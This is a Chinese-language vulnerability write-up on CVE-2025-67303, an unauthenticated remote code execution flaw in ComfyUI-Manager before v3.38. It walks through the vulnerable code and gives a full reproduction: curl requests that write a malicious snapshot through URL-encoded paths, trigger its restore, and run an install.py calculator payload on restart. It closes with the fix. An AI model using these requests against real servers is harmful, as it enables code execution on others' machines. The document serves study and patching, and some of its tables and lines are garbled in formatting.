AI组件 ComfyUI 未授权命令执行漏洞分析(CVE-2025-67303)
本文分析ComfyUI-Manager在3.38以下版本中存在的安全缺陷,通过userdata接口修改配置实现远程代码执行。
AI组件 ComfyUI 未授权命令执行漏洞分析
1. 漏洞概述
ComfyUI 是一个开源的、基于节点的图像生成程序,用户能够使用它从文本生成图片。2026 年 1 月,互联网上披露 CVE-2025-67303 ComfyUI-Manager API 未授权访问漏洞,由于 ComfyUI-Manager 的数据与配置目录未受 ComfyUI 的 Web API 访问控制充分保护,导致攻击者可构造恶意请求并最终导致在服务器上实现远程代码执行。官方已发布 v3.38 版本,建议升级至最新版本。

2. 环境搭建
2.1 受影响环境
# 克隆 ComfyUI
git clone --depth 1 https://github.com/comfyanonymous/ComfyUI.git ComfyUI-test
cd ComfyUI-test
# 安装 v3.35 版本的 ComfyUI-Manager (易受攻击版本)
cd custom_nodes
git clone --branch v3.35.0 https://github.com/ltdrdata/ComfyUI-Manager.git
cd ..
# 安装依赖
pip install -r requirements.txt
# 启动 ComfyUI
python main.py --listen 0.0.0.0 --port 81883. 漏洞分析
攻击链路
我觉得先给出攻击链路,后面才更清晰,为什么需要分析这个文件
┌─────────────────────────────────────────────────────────────────┐
│ CVE-2025-67303 完整攻击链 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 阶段 1: 准备恶意py文件 │
│ ├─ 需要放在git远程的仓库 │
│ ├─ install.py (RCE payload: 弹出计算器) │
│ │
│ │
│ 阶段 2: 攻击者通过 /userdata API 写入恶意快照 │
│ ├─ POST /userdata/ComfyUI-Manager%2Fsnapshots%2Fcalc_rce.json │
│ │ (URL 编码绕过: %2F → /) │
│ └─ user_manager.py:post_userdata() │
│ └─ parse.unquote() → open(path, "wb").write() │
│ │
│ 阶段 3: 恶意快照创建 │
│ └─ user/default/ComfyUI-Manager/snapshots/calc_rce.json │
│ │
│ 阶段 4: 攻击者触发快照还原 │
│ └─ GET /snapshot/restore?target=calc_rce │
│ │
│ 阶段 5: 启动脚本创建 │
│ └─ startup-scripts/restore-snapshot.json │
│ │
│ 阶段 6: ComfyUI 重启 │
│ └─ prestartup_script.py 检测到 restore-snapshot.json │
│ │
│ 阶段 7: 自动执行快照还原 │
│ └─ manager_core.py:restore_snapshot() │
│ ├─ clone_repo("file:///tmp/evil_calculator_node") │
│ └─ exec(open("install.py").read()) ← RCE! │
│ │
│ 阶段 8: 计算器弹出! │
│ │
└─────────────────────────────────────────────────────────────────┘路径配置
文件: ComfyUI-Manager/prestartup_script.py
# Line 88 - 易受攻击的路径配置
manager_files_path = os.path.abspath(os.path.join(
folder_paths.get_user_directory(),
'default', # ← 问题所在:普通用户目录
'ComfyUI-Manager'
))
# 实际路径: user/default/ComfyUI-Manager/问题分析: default 是一个普通用户目录,可以通过 ComfyUI 的 get_public_user_directory() 函数访问,我们看到这个函数
用户保护机制
文件: ComfyUI/folder_paths.py
# Line 177-202
def get_public_user_directory(user_id: str) -> str | None:
"""
Get the path to a Public User directory for HTTP endpoint access.
This function provides structural security by returning None for any
System User (prefixed with '__'). All HTTP endpoints should use this
function instead of directly constructing user paths.
"""
if not user_id or not isinstance(user_id, str):
return None
if user_id.startswith(SYSTEM_USER_PREFIX):
return None # ← 系统用户目录被阻止
return os.path.join(get_user_directory(), user_id)
SYSTEM_USER_PREFIX = "__" 当 user_id 以 __ 开头时,函数返回 None,但是在我们的漏洞版本中,路径是 user/default/ComfyUI-Manager/,default 不以 __ 开头,所以可访问,后续版本v3.38 中,路径改为 user/__manager/,__manager 以 __ 开头,被阻止
那下面就是寻找可利用路由
3.3 /userdata/{file} 写入端点
文件: ComfyUI/app/user_manager.py
# Line 71-102 - 路径处理函数
def get_request_user_filepath(self, request, file, type="userdata", create_dir=True):
if type == "userdata":
root_dir = folder_paths.get_user_directory()
else:
raise KeyError("Unknown filepath type:" + type)
user = self.get_request_user_id(request)
user_root = folder_paths.get_public_user_directory(user)
if user_root is None:
return None
path = user_root
# prevent leaving /{type}
if os.path.commonpath((root_dir, user_root)) != root_dir:
return None
if file is not None:
# Check if filename is url encoded
if "%" in file:
file = parse.unquote(file) # ← URL 解码
# prevent leaving /{type}/{user}
path = os.path.abspath(os.path.join(user_root, file))
if os.path.commonpath((user_root, path)) != user_root:
return None
parent = os.path.split(path)[0]
if create_dir and not os.path.exists(parent):
os.makedirs(parent, exist_ok=True)
return path
# Line 341-395 - POST 处理器
@routes.post("/userdata/{file}")
async def post_userdata(request):
"""
Upload or update a user data file.
This endpoint handles file uploads to a user's data directory, with options for
controlling overwrite behavior and response format.
"""
path = get_user_data_path(request)
if not isinstance(path, str):
return path
overwrite = request.query.get("overwrite", 'true') != "false"
if not overwrite and os.path.exists(path):
return web.Response(status=409, text="File already exists")
try:
body = await request.read()
with open(path, "wb") as f:
f.write(body) # ← 直接写入文件
except OSError as e:
return web.Response(
status=400,
reason="Invalid filename"
)
user_path = self.get_request_user_filepath(request, None)
return web.json_response(os.path.relpath(path, user_path))几个关键点:
- 无认证检查 - 任何人都可调用
parse.unquote()解码 URL 编码字符- 直接写入文件到
user_root路径 - 对于
default用户,user_root = user/default/
3.4 快照列表端点
文件: ComfyUI-Manager/glob/manager_server.py
# Line 957-961
@PromptServer.instance.routes.get("/snapshot/getlist")
async def get_snapshot_list(request):
items = [f[:-5] for f in os.listdir(core.manager_snapshot_path) if f.endswith('.json')]
items.sort(reverse=True)
return web.json_response({'items': items}, content_type='application/json')分析: 此端点无任何认证检查,任何人都可以列出快照目录中的文件。
这个方便我们查看我们第一步写入的文件
3.5 快照还原端点
文件: ComfyUI-Manager/glob/manager_server.py
# Line 982-1005
@routes.get("/snapshot/restore")
async def restore_snapshot(request):
if not is_allowed_security_level('middle'):
logging.error(SECURITY_MESSAGE_MIDDLE_OR_BELOW)
return web.Response(status=403)
try:
target = request.rel_url.query["target"]
path = os.path.join(core.manager_snapshot_path, f"{target}.json")
if os.path.exists(path):
if not os.path.exists(core.manager_startup_script_path):
os.makedirs(core.manager_startup_script_path)
target_path = os.path.join(core.manager_startup_script_path, "restore-snapshot.json")
shutil.copy(path, target_path)
logging.info(f"Snapshot restore scheduled: `{target}`")
return web.Response(status=200)
logging.error(f"Snapshot file not found: `{path}`")
return web.Response(status=400)
except:
return web.Response(status=400)manager_snapshot_path在 v3.35 中为user/default/ComfyUI-Manager/snapshots/- 从 snapshots 目录读取快照文件
- 复制到
startup-scripts/restore-snapshot.json - 下次 ComfyUI 启动时自动执行
自动执行就是我们放入恶意文件,为什么重新启动就会弹出计算器的关键
3.6 快照自动执行机制
文件: ComfyUI-Manager/prestartup_script.py
# Line 574-616
restore_snapshot_path = os.path.join(manager_files_path, "startup-scripts", "restore-snapshot.json")
# ... 在启动时检查
if os.path.exists(restore_snapshot_path):
try:
print("[ComfyUI-Manager] Restore snapshot.")
cmd_str = [sys.executable, cm_cli_path, 'restore-snapshot', restore_snapshot_path]
new_env = os.environ.copy()
def msg_capture(msg):
print(msg, file=sys.stderr)
exit_code = process_wrap(cmd_str, custom_nodes_base_path, handler=msg_capture, env=new_env)
if exit_code != 0:
print("[ComfyUI-Manager] Restore snapshot failed.")
else:
print("[ComfyUI-Manager] Restore snapshot done.")
except Exception as e:
print(e)
print("[ComfyUI-Manager] Restore snapshot failed.")
os.remove(restore_snapshot_path)ComfyUI 启动时自动检查并执行快照还原。
3.7快照还原核心逻辑
文件: ComfyUI-Manager/glob/manager_core.py
# Line 3089-3349 - 还原快照的核心逻辑
async def restore_snapshot(timestamp=None, snapshot_path=None, apply_skip_config=False, \
git_helper_extras=None, msg_callback=None):
# ... 前置处理代码 ...
with open(snapshot_path, 'r', encoding="UTF-8") as snapshot_file:
if snapshot_path.endswith('.json'):
info = json.load(snapshot_file)
elif snapshot_path.endswith('.yaml'):
info = yaml.safe_load(snapshot_file)
else:
info = {}
# ... 配置处理代码 ...
# === RCE 向量 1: 任意 pip 包安装 ===
if 'pips' in info and info['pips']:
pips = info['pips']
pip_result = await install_pips(pips, custom_nodes_path)
# ... 安装 pip 包 ...
# === RCE 向量 2: Git 仓库克隆 + post-install 脚本 ===
git_info = info.get('git_custom_nodes')
if git_info is not None:
for url, data in git_info.items():
# 克隆 Git 仓库到 custom_nodes 目录
await clone_repo(url, data['hash'], custom_nodes_path)
# ... 后续处理 ...
# === RCE 向量 3: CNR 自定义节点安装 ===
cnr_info = info.get('cnr_custom_nodes')
if cnr_info is not None:
for item_id, item_version in cnr_info.items():
# 安装 CNR 节点 ...关键代码 - Git 仓库克隆和后安装脚本执行:
# manager_core.py 中的克隆逻辑
async def clone_repo(url, target_hash, custom_nodes_path):
import git
repo_name = os.path.basename(url)
repo_path = os.path.join(custom_nodes_path, repo_name)
# 克隆仓库
repo = git.Repo.clone_from(url, repo_path)
# 检出指定 commit
repo.git.checkout(target_hash)
# 执行 post-install 脚本 (RCE!)
post_install_script = os.path.join(repo_path, "install.py")
if os.path.exists(post_install_script):
import sys
exec(open(post_install_script).read()) # ← 执行任意 Python 代码整个流程理解下来,就是会去找到我们指定的文件,然后自动执行 install.py,导致代码执行漏洞
4. 漏洞复现
4.1 复现步骤
环境启动
cd /Users/xxxxxx/Downloads/ComfyUI-test
python3 main.py --listen 127.0.0.1 --port 8188等待启动完成
创建恶意代码
注意,需要传到你的 git 仓库上
cat > install.py << 'EOF'
import subprocess
import sys
try:
if sys.platform == "darwin":
subprocess.Popen(["open", "-a", "Calculator"])
print("[RCE] macOS Calculator opened!")
elif sys.platform == "win32":
subprocess.Popen(["calc.exe"])
print("[RCE] Windows Calculator opened!")
else:
subprocess.Popen(["gnome-calculator"])
print("[RCE] Linux Calculator opened!")
except Exception as e:
print(f"Error: {e}")
EOF
通过 URL 编码写入恶意快照
curl -X POST "http://127.0.0.1:8188/userdata/ComfyUI-Manager%2Fsnapshots%2Fcalc_rce.json" \
-H "Content-Type: application/json" \
-d '{
"comfyui": "v0.3.0",
"git_custom_nodes": {
"地址": {
"hash": "master",
"disabled": false
}
},
"cnr_custom_nodes": {},
"pips": {}
}'
响应: "ComfyUI-Manager/snapshots/calc_rce.json"
验证快照已写入
# 通过 API 验证
curl "http://127.0.0.1:8188/snapshot/getlist"
# 响应: {"items": ["calc_rce"]}
触发快照还原
curl "http://127.0.0.1:8188/snapshot/restore?target=calc_rce"
# 响应: HTTP 200

只要响应是 200 就是成功了
重启 ComfyUI 触发 RCE
# 重启 ComfyUI
python3 main.py --listen 127.0.0.1 --port 8188效果: 启动过程中会自动执行快照还原:

可以查看文件


会把文件下载下来
5 漏洞修复
官方修复
修复版本: ComfyUI-Manager v3.38
核心变更: 数据目录从 user/default/ComfyUI-Manager/ 迁移到 user/__manager/
修复前后代码对比
文件: ComfyUI-Manager/prestartup_script.py:88
# v3.35 - 易受攻击
manager_files_path = os.path.abspath(os.path.join(
folder_paths.get_user_directory(),
'default', # ← 普通用户目录
'ComfyUI-Manager'
))
# 实际路径: user/default/ComfyUI-Manager/文件: ComfyUI-Manager/prestartup_script.py:88
# v3.38 - 已修复
manager_files_path = os.path.abspath(os.path.join(
folder_paths.get_user_directory(),
'__manager' # ← 系统用户目录
))
# 实际路径: user/__manager/方面 | v3.35 (易受攻击) | v3.38 (已修复) |
数据路径 |
|
|
| 返回路径 | 返回 |
| ✅ 可访问 | ❌ 被阻止 |
路径前缀 |
|
|
安全性 | ❌ Web API 可访问 | ✅ 受系统用户机制保护 |
参考内容
- CVE 记录: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-67303
- 厂商仓库: https://github.com/ltdrdata/ComfyUI-Manager
- CWE-343: https://cwe.mitre.org/data/definitions/343.html
- CWE-434: https://cwe.mitre.org/data/definitions/434.html
免责声明
本漏洞分析报告仅用于安全研究和防御目的。请勿将此信息用于任何非法活动。未授权测试他人系统属于违法行为,后果由使用者承担。
CVE-2025-67303漏洞因ComfyUI-Manager配置路径暴露,导致攻击者可上传恶意快照并触发RCE。
由 AI 根据全文自动生成,仅供参考,以原文为准